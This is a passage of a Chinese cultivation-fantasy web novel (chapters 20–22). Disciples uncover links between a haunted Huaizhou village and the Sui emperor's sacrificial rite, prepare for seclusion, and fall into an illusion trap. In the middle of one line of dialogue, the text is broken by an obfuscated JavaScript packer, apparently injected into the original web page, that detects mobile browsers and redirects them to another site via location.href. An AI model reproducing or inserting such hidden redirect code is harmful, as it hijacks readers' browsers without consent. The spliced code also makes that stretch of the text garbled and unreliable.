他还要继续进行慷慨激昂的演讲,嘴里没咽下去的糕点碎屑随着唾沫星子飞溅出来,场面一度惨不忍睹。 这时,大师兄拿出一个蓝色的小球,演讲戛然而止,贺峻的脸色变了又变。 “飞衡兄,你这是……留影球?你不是,我们不是说好不对我使用留影球的吗?”他带着一点讨好的语气,慢慢把上半身凑上去。 就在他要抢回留影球时,大师兄猛地收回手,以迅雷不及掩耳之势将留影球塞回储物袋:“我也不想的。不过,今日是贺道友执意要闯奇物阁禁制,我担心要是贺道友出个三长两短,大隋朝皇城内怕是会闹个天翻地覆。这木旗镇就在我水云门脚下,你也是我叫来的,我可要对贺道友,对水云门上下负起责任啊。” 贺峻连连摆手:“我一人做事一人当,是决不会连累飞衡兄的。” “贺道友,你来自大隋朝皇城?”木音插了一句。 贺峻一听,连“哎”好几声:“木师妹,怎么个事儿,我就睡醒吃点东西的功夫,你我怎么就见外了呢?我怎么就是‘贺道友’了?哎,实不相瞒,我乃大隋贺御史之子,不过,我家就我一个有灵根,也怪无聊的。我呢,就喜欢四处闯荡,若非如此,也不会在秘境中结识飞衡兄,得此挚友。” 木音没想到贺峻竟然这么敏锐,只能改口道:“贺师兄,你这天资真是空前绝后啊。” 人家女主还在老老实实准备筑基,一个看着比她小很多的孩子竟然就有堪比结丹,甚至已经结丹的修为。 ……这不是类似返老还童的功法吧? “木师妹想到哪儿去了。”似乎看出她的局促不安,贺峻笑道:“我这模样不过十三四岁,怎么可能有如今的修为?不过是一点法器破碎的后遗症罢了。你可不要忘记我英俊帅气的样子,说不定,以后我的道侣会是木师妹的某位师姐呢。” 木音:…… 这小孩形象给她的冲击太大,一时间难以将她认识的几位师姐和贺峻这副样子配在一起,强扭的瓜不甜,而且,这实在是有违本心。 赵飞衡轻咳几声,示意两人点到为止。 “贺道友,你可知今日是谁镇守奇物阁?”他问道。 贺峻“嗯”了一声,回头看看木音,再看向赵飞衡,半信半疑地说:“看你们的样子,这人我还认识?他是皇城中人,还是我们在秘境认识的某一位?” “古恩。”说出这两个字时,赵飞衡的目光紧紧盯着贺峻。 木音站在小窗边,正好看到大师兄那副表情,暗暗留了个心眼。大师兄之前所说,果然还有隐瞒。 沉吟片刻,贺峻只问了一句:“你没看错?” 木音一怔。 只听大师兄快速说道:“头发花白,吊梢眼,半截眉毛被烧没了,善用冰,能化万物为冰,善布阵,起阵时无人察觉,破阵时亦无人知晓。这样的人,天下还能找到第二个吗?” “是他。他此时不该在这里,更不应该镇守奇物阁。” 此刻,贺峻全然不见刚才不着调的样子,那张稚嫩的脸上能看到不符合这个年纪的冷静和阴沉。 镇守? 驻守? 悄然间,木音想到一点异常之处:“大师兄,你刚刚说古恩这几年驻守皇城。他一个元婴修士会听谁的号令?” “元婴修士轮流驻守皇城是千年前定下的规矩,一看就知道木师妹还没出过远门,下次和师兄出来走走,若是再带上几位师姐就更好了。”贺峻笑嘻嘻说道。一晃眼,他又变成刚刚那个不着调的青年。 木音心里急了,话也说得快:“贺师兄的意思是这奇物阁和元婴修士都受制于大隋皇室?” 大师兄脸色一变,贺峻脸上也显出一丝无奈。 “木师妹这话说的……若是大隋皇室有这能耐,还用得着年年和荒漠蛮族打架吗?直接让元婴修士扳手腕定输赢不就好了。” 大师兄点点头,补充道:“元婴修士是遵守千年前的约定,这奇物阁可不是,它可以扎根在大隋境内任何一个地方,和皇室必然有千丝万缕的联系。” 这一说,可是把木音说糊涂了。 “那古恩为何出现在这?” “对啊,我们也想知道古恩为何出现在这。”贺峻眉眼弯弯,十分明媚,没有一点儿困惑,以至于他的话毫无信服力。 木音看向大师兄。 大师兄轻叹一口气,看向贺峻的目光多了几分责备。这人总是不着调,真会给人增加麻烦。 “贺道友说得没错。每过三百年,驻守皇城的元婴修士应该有三位,古恩跑出来,剩下的两位竟然一声不吭,甚至还帮他隐瞒,这才是最关键的地方。” 眼瞅着思路再次进入死胡同,贺峻“呲溜呲溜”吸着雪燕酊盏,突然“啊”了一声,将另外两人的目光引来。 “没什么,我就是突然想起来一件事。古恩此时的确不该在皇城,皇城中另外两位应该也已知晓此事。毕竟,我记得那两位和古恩结下私怨,不打可能互相帮衬。” 说了一堆话,却没一句说到重点。 大师兄一针见血:“那古恩应该在哪里?” “怀州。” 两字一出,木音心跳漏了半拍。 贺峻紧接着跟上一句话:“这事儿已经筹备好几年,也快要举办了,不知道你们还有没有印象——大隋皇帝的祭天大典。” 大隋,祭天,怀州,简单的六个字将木音九年前的记忆唤醒,和今日种种串联在一起。 那一刻,一种陌生的情绪充满胸口,她想,她必须得筑基。 因为,她要下山。 21. 21 听贺峻这么一说,木音俨然没有心情参加交流会。 尽管楼下时不时有宝光闪烁,楼上三人神色各异,都没有叫价或是换东西的意思。 赵飞衡继续刚刚没下完的棋,贺峻百无聊赖地扫视楼下的宝物,稚气的脸上就差写上“无聊”二字。 就在这时,有位结丹初期的修士拿出一套九龙离火阵,引来不少人的惊呼和叹息。贺峻噌一下跳到窗边,和木音一起向下望。 此阵威力不错,设计精妙,可惜阵法有残缺,虽然还能用,但是布置起来颇为繁琐,威力受损,很快就遭遇冷场,贺峻也考虑到这一点,啧啧叹息,收回目光。 瞥见木音脸上几分好奇的神色,他猛然想起之前被禁制打下台阶时瞥见的青色小阵,心里大为好奇。 “木师妹,适才你使的那个青色小阵叫什么?我瞧你布置起来快极了。”他问道。 “只是一个简单的聚风阵。”木音说道。 她从储物袋中拿出一套红色小旗,托在掌上:“这是聚火阵,和聚风阵同理。我修为低微,很难快速凝成一道法术,便借此阵汇聚火灵力,便于操控。” 贺峻探出一丝灵力运行聚火阵,发觉其中的异样:“聚火?聚风?这些阵可是源自聚灵阵?” 得到木音的肯定,这个小屁孩将聚火阵完完整整施行一遍才还回去:“的确和聚灵阵出自同源。聚灵阵需要汇聚驳杂的灵气,抽丝剥茧,分门别类,再进行汇聚方可汇成灵气为我等所用,木师妹将这些过程简化,难怪布置起来快极了。” “贺师兄慧眼如炬。”木音附和道。 贺峻双腿盘坐在榻上,一只手托腮,一只手用灵力捏出一只小麒麟,在空中舞着玩。 木音和这家伙实在不熟,面对面非常尴尬。 偏偏这榻不大,贺峻不走,她不好意思留在这,干脆换到房间中间的桌边,坐在大师兄斜对面。 屁股刚挨上凳子,余光察觉大师兄捏起棋子的手顿住。 “我带其他师弟师妹下山,途径这种地方,他们总是对宝物颇为好奇,师妹却对楼下那些宝物不感兴趣。”大师兄笑吟吟道。 木音粗略扫过棋盘上的棋子。 她对这里的棋道一窍不通,偶尔见明梵音下过几次,也没有多问。眼下这盘棋黑白交错,看得人心烦。 “大师兄和其他同门师兄师姐一道下山是在他们筑基之后,我还在炼气期,见识浅薄,修为低微,对武器不甚了解,挑不出适合自己的,而且和楼下那些前辈随口喊出的价格相比,我实在囊中羞涩,好奇心自然少些。” 大师兄看着木音,刚想开口说什么,被贺峻抢过话头。 “师妹囊中羞涩?” 小麒麟欢快地飞过来,原地转悠一圈,变成迷你版的阵盘。贺峻将阵盘托在空中,望着对面二人,说道:“师妹刚刚给我瞧的阵盘看似简单,品质肯定不错,不然也不会在元婴之下接住我而不破碎,所耗材料应当不简单吧?” 木音一愣。 贺峻说的确实在理,但这问题她还真没想过。阵法是她从玉清风给的书上改编的,灵石,材料,连画阵法的笔都是玉清风给的,她只想过女主给的应该不差,没想过会很好啊。 赵飞衡瞧她犹豫不定答不上来的样子,心下了然。 “师妹平时深得墨峰几位师叔的厚爱,手里有点好东西不奇怪。她只是记名弟子,再多资财肯定没有。贺道友,你身价不菲,就别拿她打趣了。” 大师兄三两句将话头踢回去,没再追问,木音暗自松口气;说到贺峻的来历,她是真感兴趣,听起来贺峻来头不小。 “别别别。” 一看木音的眼神,贺峻连连摆手,转过头去:“师妹当我是个自由散漫的散修就好,其他的,我早已发誓一刀两断,再提,哎,说来说去也没意思。” 赵飞衡轻笑一声。 木音后知后觉发现大师兄刚刚是故意捉弄贺峻。这俩人倒真有意思,不难看出,他们俩的关系是真“不错”。 三人相顾无言,如坐针毡,一直等到交流会结束。 走出木旗镇,贺峻便和他们道别,走另一个方向;木音和大师兄回宗,刚过宗门,就被一帮人拦下。 “见过大师兄。大师兄,你们这是从哪儿回来的?我瞧这位师妹颇为眼生呐。”墨瓷英打过招呼,言语中有几分揶揄。 赵飞衡一一扫过他身后几名弟子,才慢慢说道:“这位是斑斓谷的木师妹,我带师妹到山下的奇物阁寻一件宝物,正好遇到你们。七人通行,还带着灵兽,你们这是要去哪儿?” “大师兄是不是以为我们要去打架,哦,不对,是除鬼修。最近鬼修可安分了,我们就算手痒也抓不到他们。今日是我接了外门的任务,去西山谷砍一些灵藤回来。那些藤蔓藏得隐蔽,外门要的量又大,我这才让几位师弟师妹和我一同去。大师兄要找的宝物找到了?”墨瓷英说道。 “没有,或许是听错了风声,白跑一趟。”赵飞衡边说边回想最近门派内的大小活动,实在找不出什么人缺那种灵藤。 墨瓷英要的灵藤生长在西山谷的峭壁之上,深埋于干硬的岩泥中,极为狡猾灵活,必须要捉住头尾才能取下一根,再加上周围飞禽野兽环伺,采摘困难,几位炼器长老极少用到这种灵藤,就算要,他们也会找结丹修士去。墨瓷英这群人中修为最高的不过才筑基大圆满,此次去有点冒险。 斟酌一番,赵飞衡问道:“是哪位师叔要灵藤炼器,正好我得空,可以陪你们走一趟。” “是外门岁长老,据说是掌门拜托他炼一个三脚架样式的法器,送给斑斓谷的玉师妹。”望着一脸茫然的赵飞衡,墨瓷英和身边几位师弟师妹面面相觑。 天地可鉴,他们没说谎! “我知道了,你们在此地等等,我先去给师尊复命,再来找你们。”赵飞衡在心里叹口气,想到斑斓谷的木师妹就在身边,总有种不好的预感。 将木音放在谷外,他御剑加速,直奔峰顶。 掌门正在云海边品茶。自从大徒弟回来,门内庶务一应交给他打理,自己得空就风雅一番,妙哉妙哉。正美美欣赏云景,赵飞衡冷不丁从白茫茫的云海中跳出来,把他吓了一跳。 他冷哼道:“你这隐身匿息的术法是练的越发熟练了,还敢拿为师练手。” 说着,他递出一杯茶。 淡蓝色的茶杯宛若破碎的星辰,杯中水波荡漾,和杯外逸散的云彩交相辉映,一滴都没洒出。 赵飞衡稳稳接住,盘腿坐在师尊对面。 “说,来做什么的?” 一看这徒弟嬉皮笑脸的样子,掌门就郁闷,真想一脚将人踹下去。 养了这么多年,装是能装出一副温润儒雅的样子,在他面前就显出原形,行为举止五大三粗,品味一言难尽,品不出好茶,赏不来好景,和老道一副德行。 “来找师尊复命。”说完,赵飞衡将茶一饮而尽。 他刚把茶杯放下,一只残影袭来,他暗道不好,下一秒,眼前闪过零碎的白光,手下一空,脑门上一阵钝痛。 “师尊。”他知道是自己行事急了,又没装稳,连忙讨饶。 这么多年相处,掌门已经习惯生气了就安慰自己,最多瞪几眼徒弟解解气。熟门熟路将自己哄好后,他带着一点儿没散的火气问道:“我什么时候派你去做事了?找我复命,复什么命?” 赵飞衡赔笑道:“师尊还记得前几日玉师妹问你的那句话吗?” “穷则独身其身?”掌门微微皱眉。虽然知道玉清风什么都不知道,但细细思索这句话的意思,他仍旧觉得不舒服。 是他太敏感了,还是玉清风过于早慧,仅从玉家之事就能看出端倪? “正是这句。” 赵飞衡说道:“弟子此次在秘境中侥幸结丹,感悟颇多,对这句话另有见解。弟子认为我等修士与天争斗机缘,一朝身死,不仅身死道消,连来世都没有,那岂不是到了元婴也还是身处困境,做事畏首畏尾?而且,玉师妹出身世家,自小养尊处优,怎么说出这种话?这其中定然有蹊跷,弟子此次就是去探查其中隐因。” 至于这句话,他一早就猜到是木音说的。 聪明,胆小,囿于一方天地的,斑斓谷内只有木音一人符合这三点。追究更深一点,怕是和当年木旗镇差点毁灭的惨案脱不了干系。 “既然是探查,想必有所收获,说说看。” 掌门不打算尽早将一切和盘托出,倒是对徒弟口中的隐因有点兴趣。 “弟子认为这句话是绮珊师叔的记名弟子说的,当年弟子误打误撞将其带上山,让她目睹木旗镇惨案没有安抚,她在斑斓谷这些年学到不少,说这句也不奇怪。”赵飞衡说道。 意料之外,师尊没有给一点赞许之意。 “师尊?” 良久,掌门开口,只问了一句:“不奇怪就是对的吗?” 一片沉默。 不久前,他刚接到绮珊师妹的消息。 纵使百岁之龄,师妹的性格一如当年,行事越发沉稳,他没有争斗之心,看着面前陷入沉思的徒弟,还是忍不住想叹气。或许,师尊当年的认可并不一定就是对的。云游天下的该是他,坐镇门派的该是师妹,一本剑谱,修不到最后一剑就当不了掌门吗?师妹明明比他优秀多了。 一番思索后,赵飞衡回答道:“万事万物自有定理,不奇怪就是顺应天理,顺应规律,弟子认为,这就是对的。” “罢了。” 掌门从储物袋中取出一枚木简,递给徒弟:“看看这个,一个时辰前刚送来的。” 赵飞衡飞速扫过其中内容。 不久前,绮珊师叔发现怀州一块地区有人久居。众所周知,为了祭天大典,大隋皇帝早在几年前就将怀州境内的百姓全部迁走,此时还有人居住,必有蹊跷。绮珊师叔在村内居住六年,六年才击破迷障,除尽鬼修。 如此和人气相近的鬼气,简直闻所未闻。 赵飞衡深吸一口气,很难想象一向爱热闹的绮珊师叔竟然能察觉到这种鬼气,甘愿在犄角旮旯里蛰伏六年。 估摸时间,等他看完,掌门递出第二枚木简:“再看看这个。” 这一枚木简的来意直白,言辞恳切,是大隋朝皇室托驻守皇城的修士传话,希望水云门能去祭天大典观礼,以便皇室对绮珊道人之举聊表心意。 “这是好事。祭天之事,对百姓尤为重要。”赵飞衡说道。 电光火石之间,他想到还在门外等他的墨瓷英一行人,一条线索在脑海中自行连接:“师尊派人去西山谷找灵藤炼器,是为了玉师妹?” “祭天大典还要几年,以清风的修炼速度,完全赶得上。”掌门解释道:“炼器的确是她要的。我想,她应该不是为筑基准备。这孩子被留在斑斓谷九年,鲜少开口求我,我实在没理由拒绝。” “玉师妹想炼什么样的灵器,或许我可以帮忙。” 赵飞衡还在想要不要快点解决灵藤,早点从西山谷回来,趁天色尚好,他还能去和玉师妹仔细商量一下灵器的样子。 “飞衡。”掌门略显严肃的声音将他的思路打断。 这种时候,师尊大概率是有重要事情要交给他,玉师妹的事只能先放一放,他肃声道:“但凭师尊吩咐。” 无论是什么事,无论多难,他都会做到。 “尽快处理手上的庶务,将一切交给几位长老,你去闭关。” 赵飞衡:? 见他还想争辩几句,掌门一把将人按住。 这弟子哪儿都好,就是急了做事莽撞,他可不想和一个莽夫理论:“闭关之后,和清风一道去祭天大典。为师心意已决,你不用再劝。” “是。” 离开时,赵飞衡直接穿过云层,任由身体被风扯来扯去,又麻又痛,快落地时才召唤飞剑,直奔山门。 从始至终,他都没有反驳师尊的念头,他只是想问问玉师妹一事需要他帮忙吗? 想来,是不需要的。 掌门高坐云端,此刻没有心思品茶,神识透过云层,注视一个光点飞速向山门移动。他拿出一副棋盘,摆好棋子,乍然想起徒弟不喜欢下棋,而他也不喜欢下双手棋,师妹才喜欢,师妹还喜欢听戏曲儿,看表演,女扮男装混迹青楼…… 山上清冷,除了下期,他找不到更好的解压方式。 若是木音在这,一定会发现掌门是双手执子下棋,而大师兄在奇物阁是单手下棋。 这会儿,木音正和玉清风坐在廊下听竹赏风。 木音吧啦吧啦说了好久,把下山的经过交代一清二楚,玉清风递给她一杯果汁,她咕咚一下喝完大半杯。 “木旗镇为什么会突然出现大量红色的果子?” 蛮族,红色的果子,翻山越岭而来的修士,玉清风大概猜到木音说的是哪一族人,她隐约有不好的预感。 “很奇怪吗?”木音给自己续满一杯,继续说道:“那些果子出现的很突然,但我看镇上还算平静,酒楼茶楼都收下了这种果子,连下山给外门采买食材的人也收来不少果子运上山。若是果子另有文章,大师兄当时就会制止那人。” “奇怪的不是果子,是当下这个时间点。” “现在?最近也没发生什么大事吧?哦,对了,我回来时从上面看,那些木简都没了,是门内派人将它们送还回去了?” 玉清风斟酌一番,打算在自己闭关前给木音提个醒。一旦闭关,外界出事她一点儿忙都帮不上。木音在宗门内身份地位,稍有不慎,或许都等不到她出关的时候。 “木简是我收的。” 木音:! 玉清风继续说道:“你刚离开,明梵音传来一份木简,而且,就在不久前,师尊大闹怀州,此事传得沸沸扬扬。就在这个节骨眼儿上,异族进入大隋的边境,不论来意好坏,在这个节骨眼儿上真算不上件好事。” 明梵音?便宜师尊绮珊长老? 半天的功夫,怎么这么多人来信,平时谷内都快安静成荒野了! 当务之急,木音先挑最要紧的问:“明梵音来信,是和他母亲的死因有关?明家的速度真快,竟然这么快就查出端倪了。” 世家之力,当真不可小觑。 她上辈子只是个普通人,这辈子侥幸留在水云门,得幸见识到一个庞然大物的力量。 “明家发现明夫人死前在一座小村落逗留,离开村落仅仅三天就出事了,直接从飞行法器上跌落,用尽法宝吊着一口气回到明家所在的昀凌城。”说到这,玉清风顿住,想喝一口果汁,又没有心情,连一点甜味都感受不到。 深吸一口气,她缓缓说出关于师尊的消息:“就在不久前,我从掌门那得知师尊在怀州一处村落停留六年,灭当地鬼修。” 都是在怀州,都是一处诡异的村落,木音看着玉清风逐渐泛红的眼眶,再迟钝也明白这一切必有蹊跷。 “那掌门……” “掌门还不清楚明夫人的死因,明家对这一事密而不发,我原以为是世家之间的明争暗斗所致,没想到会和师尊牵扯到一处。”玉清风说这话时神情漠然,好像在出神。 木音收起笑容。 这么看,明夫人的死因就快水落石出,是件值得高兴的事,但看玉清风的神情,她直觉其中有不对劲的地方。 “师尊,师尊她怎么说的,关于明夫人的死因,还有那个奇怪的村落?” “师尊没有回复明家的消息,在给掌门的信中提到明家曾找过她,她曾提过这一切都和大隋朝的祭天大典有关,掌门还不知道明家出事的具体情况,不知道明夫人死前也曾去过那个村落。明家子弟遍布天下,师尊提到明家并不奇怪,这事就这么按下了。” 一时间,两人相顾无言。 木音在消化玉清风说的话。原以为是两件南辕北辙的事情,没想到会怪异地纠缠在一起,这其中最奇怪的就是绮珊道人的态度和那处村落。 什么样的鬼修能在绮珊道人这个杀神的眼皮子底下躲过六年还不跑? 大隋朝和修仙界一向泾渭分明,修仙世家这种散修发家的大宗族才和水云门沾亲带故,绮珊道人竟然会顾及大隋朝而敷衍明家之事! “今晚我就闭关,闭关之后,我会亲自走一趟怀州。” “去找师尊?” “去查明夫人的死因。” 这下,木音更不理解了。明家人多势众,怎么可能查不到明夫人的死因……一想到绮珊道人的脾气,这事儿还真说不定。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139067|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是能找到师尊就好了,师尊应该知道其中原委。” “就算师尊知道,十有八九不会告诉我们。”玉清风解释道:“她没有告诉掌门,信中又只提一句,大概是怕明家发现之后闹上门,让掌门难堪,现在这样,点到为止,刚刚好。” “那你为什么……”那一瞬间,木音想到明梵音是个男的,还是个英俊多金、有权有势的男人。这种人设,妥妥的是女主的裙下臣。 “师尊行走在外,不能得罪明家这种大世家,明家的手眼遍布天下,不能以好坏定论。若是大家相安无事,自然最好;但若是明家有意为难,就算师尊修为再高,也难防小人暗箭。我作为师尊的弟子,走一趟怀州,于情于理都合适。” 玉清风打定主意,看向木音:“你留在谷内,哪儿都不去,不会有人找你麻烦。” 木音连连摇头。 开玩笑!她留在水云门就是为了攒点自保的能力,方便以后跑路好活。要是玉清风下山遇到困难,尤其是遇到那些男人们,人是不会死的,门派可能就完了,她这个还没筑基的小可怜就彻底消失在世界的时间线里。绝对不行,万万不行! “我和你一起闭关,你放心,我会努力突破筑基,不拖你后腿的。”说实话,木音有点心虚。 但眼下她只能用画饼的方式拖住玉清风的脚步,争取两人一起走。 “一起闭关?你也想去?” 见木音点头,玉清风愣了一下,随即想到木音的来处。 木音是怀州遗民,是子兰师姐带回来的孩子。听裴罄然说,当年同子兰师姐一起下山的,还有一位惊才绝艳的师兄,可惜,两人去,两人回,那位师兄悄无声息地陨落了。这话,裴罄然没敢和木音说。会死人的事哪能开玩笑呢。 “若是一起闭关,闭关后一起下山,几年内是不会回到宗门的。要是有什么事,尽快处理。”玉清风嘱咐道。 “我应该没什么事,准备准备就可以闭关了。” “你在学堂里的夫子,那位言则师兄,之前不是来找过你几次吗?每次你都避而不见,说不定他找你有要紧事。” 木音是真心不敢去。 试问能有几个好不容易从高三毕业、高考考得很一般的刺头愿意去找以前最看不顺眼自己的老师话家常呢? 简直就是找虐。 最多听说他过得越来越好,衷心祝福一下。 为了表明自己闭关筑基、一起下山的决心,木音在床上滚了几圈,实在睡不着,在晚霞中骑着买来的大鹅直奔言则夫子的小院。 “要是我一个时辰还没回去,你一定要来救我啊。”发完这则消息,木音战战兢兢敲响小院的门。 玉清风正在屋内画图纸,收到这则消息,哑然失笑。 小院外,暖光闪现,门开了。 木音大为震惊,抬头一看,廊前两盏灯笼黄黄的,没透出一丝亮光。刚刚是她看错了?带着一点疑惑,她一脚迈进院内。 迎面劈来一个空酒瓶。 木音抬手接住。酒瓶口小肚圆,可惜其主人肚量小得很。 紧接着,夫子的声音如飞刀一般射过来:“我就是这么教你的?自报家门了吗?行礼了吗?” 木音连忙告罪。这的确是她的失误。 言则夫子慢慢从屋内走来,半张脸在屋檐的阴影里,半张脸在昏黄的夕阳里,衬得他脸型精致,如刀削斧凿,格外锐气。 “说吧,来找我做什么?” “玉师姐说夫子您曾到谷内找过弟子,弟子屡次错过,特来请罪。”说着,木音老老实实行礼。从刚刚的表现来看,她这话约等于放屁,但这是她左思右想最大概率不会被踹出来的理由。 “哟,大忙人终于想起来了。” 果然,言则夫子是绝不会在嘴上放过她的。木音已经做好准备,老老实实听训,偏偏言则话锋一转,冷哼一声,放过她:“行了,杵在那儿干什么?要站桩出去站。” 木音忙不迭跑到廊上,和夫子对坐。 她不打算在这里久留,顶着再挨一顿骂的风险,直接开门见山:“不知夫子之前找我,是有什么事要交代?” 言则白了她一眼,抬手拿出两个酒杯,拎起桌上的酒壶,倒了两杯。 “夫子,我不能喝酒。”按照这个身体的年纪算,她还是个未成年,还不能喝酒呢。 言则一口饮尽杯中酒:“喝,喝了我再告诉你。” 没有办法,木音只能贴着酒杯边缘,小口小口地吸溜酒液。这酒闻起来香香的,喝起来却酸酸的,酷似她之前吃过的柠檬,一样是清新的味道,要命的口感。 好不容易喝完酒,木音眼巴巴的看着言则,静候下文。 大约过了一刻钟,言则缓缓说起一段很长往事。刚进山门的时候,他在小学堂受人欺负,那些人在夫子上课前将他推下窗户,用石子砸救护他的灵兽,要是他第二天不去或是卡着上课的点去,那些人会在下课变本加厉欺负他。这样的生活很没意思,但有一次,一位师兄在下课后守在门外,不止救了他,还将夫子喊来为他主持公道,此后,他一直跟着那位师兄,虽然拜了不同的师尊,那位师兄从未薄待于他。 “可惜,我天资太差,生得太晚,命不好,才齐师兄肩膀高的时候,师兄就已经成功筑基,得到机会下山。” 言则说完这些,酒壶见空,他重新给自己灌满一壶,说道:“你这次来,是准备闭关筑基了吧?我曾叮嘱过玉师妹,让你筑基前来一次。你和师兄一样,命好,一个山头的资源用不着分来分去,筑基也快。” 木音笑道:“夫子和那位师兄同在门内,岁月悠长,总会再相遇的。” “那位师兄死在第一次下山。”言则面无表情说道。 闻言,木音惊出一身冷汗。这叫命好?还“你和师兄一样,命好”,命好个鬼啊,命好谁想年纪轻轻就去死啊! 忍一忍,她摆出求人的态度,好声好气地说:“夫子,节哀。” 这种时候,她真不想催人办事,但夫子可不可以快点回忆完,把正事办了。怎么年纪大的都爱说以前的事,现在的生活不好,不值得说吗? “齐源。” 简单两个字,木音听到的刹那好似神经抽搐一般脑子卡壳,闪现过很多画面,速度快到连一丝情绪都没来得及产生。 言则说出这个名字,盯着木音的反应,说道:“看来你还有印象。当年救你的人就是我这位师兄,也是之前教你的那位夫子的唯一一名弟子。师兄与那位夫子亲如父子,师兄身死的消息和怀州几近沦陷的消息一道传来,宗门上下组织人手去救人,那位夫子却在当晚自断其道,差点陨落。” “夫子是在怪我吗?”木音问道。 “如果我说是,你会去死吗?”言则反问她。 木音郑重摇头:“有一次上课,我被罚去门外,那位夫子把我叫去假山后面,问了我的来历,叮嘱我我是怀州遗民,要好好活下去。既然知道之前的事,我就更不该轻贱自己。” 难怪啊……言则心叹道。 想通前因后果,他的眼眶瞬间湿润。 想问的问了,也没什么将人留在这的理由。他从储物袋中取出一根带嫩芽的柳枝扔到桌上,失手打碎一只酒盅和一壶酒,看也不看,拂袖离去。 “将这个拿走,这是那位夫子给你的。” 廊下送风,酒香氤氲,夫子的声音穿过风,穿过酒,在院里回荡。 木音拿起沾满酒水的柳枝,满心疑惑。若是那位夫子给她,不应该当面给她,为何找人代交?脱离课堂,那位夫子看起来脾气温和,说话温声细语,比这个酒鬼、暴躁鬼好相处多了。 带着满肚子疑惑和新鲜的柳枝,木音告别言则夫子,返回斑斓谷,为人生第一次闭关做准备。 说是准备,她实在没什么经验,只是把能想到的都备齐,上到灵石符箓,下到澡盆碗筷,一应俱全。闭关前,玉清风特意来她的小窝转转,看着满满四个储物袋的东西,玉清风笑着不说话,直接回去了。 至此,斑斓谷彻底封谷。 一切似乎又回到十年前,斑斓谷没有一点儿人气,掌门代管谷内资源,上水峰前人来人往,无人留意脚下的滚滚瀑布奔涌向前。 花开花落,岁岁枯荣。 22. 22 怀州东部,大仓山,林水边,巳时。 一队丧仪吹拉弹唱,摇摇晃晃地从山林里走出来,直奔两里地外的小村落。村落多是土屋草棚,门前冷落,时不时传来几声幼犬的叫声。 木音一剑劈开荆棘丛,两道符箓从袖中飞出,唤来风吹开一条路,露出赤贫的土地和蛛网密布的小屋。 “师姐,这间房子也是空的。” 环视四周,她瞥见旁边半人高的灶台半露在天里,屋顶破了个大洞,有两只鸟借地儿搭了个鸟窝,一窝小鸟睡在窝里。 “我听那丧乐往这边来,再找找看,肯定有人家在办丧事。”玉清风说道。 半个月前,木音顺利筑基出关,她们收拾整顿一番,便悄悄溜下山,从云中俯瞰,意外发现这个村落尚存一丝人气。此地颇为怪异,先前感知到的人气越发薄弱,却有源源不绝之势。 “我们已经找了七家,这村落拢共才二十来户人家,怎么连个人影都看不到。”木音站在屋顶上远眺村外的丧仪队伍,“师姐,他们进村了,他们。” 话未说完,一切戛然而止。 玉清风仰头看见木音略微睁大的瞳孔,暗道不好,飞身跃到她身边,顺着她的视线看向村落边缘。那里哪有什么丧仪,连只鸟都看不见,只有连绵起伏的山峦和深如汪洋的绿海,近看,村落纷纷化为灰绿色的粉末,汇聚成一条粗壮的大江,向天空逆流而上。 玉清风瞬间意识到此地绝不简单。 没想到继师尊之后,竟然有人敢在这里设下陷阱! 余光扫到木音笔直向后倒的身影,她反射性地想去捞人,脑袋钝痛,意识模糊不清。 玉清风晕厥的瞬间,储物袋中有宝光闪烁,挣扎着想要跳出来。 村落中凭空窜出一道道黑色的气息,越聚越浓,将两人团团围住。汹涌的鬼气一下子摁住宝光,隐隐要破坏储物袋的禁制,将其中的宝物毁去。 就在这时,储物袋表面浮现一个繁复的花纹,枝繁叶茂的大树结下一个果子,果子成熟落地,一挨到树根便消失不见。凌厉的气息驱散鬼气,结成厚厚的屏障,将主人护起来,任凭鬼气啃食。 从上往下看,一条瀑布顺着大仓山挺拔的身躯奔涌向前,两岸空阔,景色优美。 村落和鬼气都凭空消失了。 * 木音总觉得自己忘记了什么,但眼下有更为重要的事情,还非常棘手——夫子要她将昨日学的内容复述一遍。 夫子是外来的,唇红齿白,眉眼柔和,生得极好,一看就不是这山里长大的孩子。 夫子人长得好看,心也好。昨天早上刚来,下午就收拾出一间空屋子,说是要办书舍,来者不拒,想听的都可以来。 今日是第二次授课,课堂上明显多了几个女学生。唐记果子铺掌柜的幼女跟着大姐也来了,铁匠铺的虎妞绝对是瞒着她爹来的,还有街上卖糖人的老头的孙女也得了一块木桌,乖乖坐在角落里。 大家都是奔着夫子的脸来的,木音也不例外。 她只记得昨日散学后去林水边挖了几条又肥又壮的蚯蚓,和豆腐坊的小儿子一道去钓鱼,那家伙力气大,没耐心,鱼没钓几条,蚯蚓一个不剩,还得是她撸上袖子去浅水区抓上来几条肥的才满意离开,再然后,他们遇到和阿娘来水边浣衣裳的虎妞,便悄悄去山里捉萤火虫…… 木音扒空了脑子也只有鱼的肥、虫的美,哪还记得什么学堂呢。 “说不出来?我明明让你们散学后回家和阿爹阿娘说说今日在课上学的,哪怕只有一点,算是复习了。”夫子的声音很温和,一点都没有责怪的意思。 木音半点儿不害怕,耳朵敏锐地捕捉到周围人的窃笑声,更加理直气壮:“夫子,我没有阿爹阿娘。” 夫子愣了一下,用带着一点疑惑的目光扫视旁边的人。 果子铺的大女儿招娣性格机灵,略带羞涩地说道:“夫子,木音她没有说谎,她是个没爹没娘的野孩子。” 不少孩子嘻嘻哈哈笑起来。 虎妞一拳砸在木桌上,轰的一声让周围人目瞪口呆,张着嘴笑不出来。她喝道:“只要有我们居米巷,她就饿不死。” “切,她不就是小时候运气好,看你掉河里,把你拽上来了吗……”东南角落里,坐在小楠旁边的男孩小声嘀咕。他还想继续说,夫子的目光扫过来,严肃到吓人,他赶忙闭上嘴,不说了。 夫子一句话没说,只是看了看两个要吵起来的孩子,就将一处闹剧扼杀在摇篮里,威严更是不必多说。 木音自小在外流浪,自然明白这种人不是她能招惹的,正暗自窃喜,心想着明天不来了吧,一只手轻轻覆在她的头上。 “以后每日散学,你可以把当天学的说给我听。”夫子说道。 木音:…… 她极不情愿地应和下来。 